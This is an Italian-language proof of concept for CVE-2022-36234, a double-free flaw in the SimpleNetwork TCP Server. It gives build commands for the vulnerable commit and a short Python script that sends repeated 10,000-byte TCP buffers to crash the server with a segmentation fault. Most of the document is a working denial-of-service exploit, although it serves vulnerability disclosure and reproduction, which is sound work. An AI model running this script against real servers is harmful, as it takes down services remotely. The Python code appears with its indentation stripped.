
Prova di concetto per CVE-2022-36234
È stato scoperto che il commit 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 di SimpleNetwork TCP Server contiene una vulnerabilità di double free che viene sfruttata tramite pacchetti TCP appositamente predisposti. Attivare il double free consente ai client di mandare in crash da remoto qualsiasi server TCP SimpleNetwork. In altre situazioni, le vulnerabilità di double free possono causare un comportamento indefinito e, nelle giuste circostanze, potenzialmente l'esecuzione di codice.
Per assicurarti di avere gli strumenti di build standard necessari per compilare la libreria, installa i seguenti pacchetti (sulla maggior parte dei sistemi saranno già installati):
sudo apt-get install build-essential git
La vulnerabilità può essere riprodotta inviando al server richieste consecutive contenenti un grande buffer di caratteri in un pacchetto TCP. Per prima cosa, compila la libreria 'libSimpleNetwork' e il server di esempio forniti nel codice sorgente:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # The same port as used by the server
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
Se l'operazione ha successo, il server andrà in crash e vedrai il seguente output dall'applicazione:
segmentation fault ./server 80 1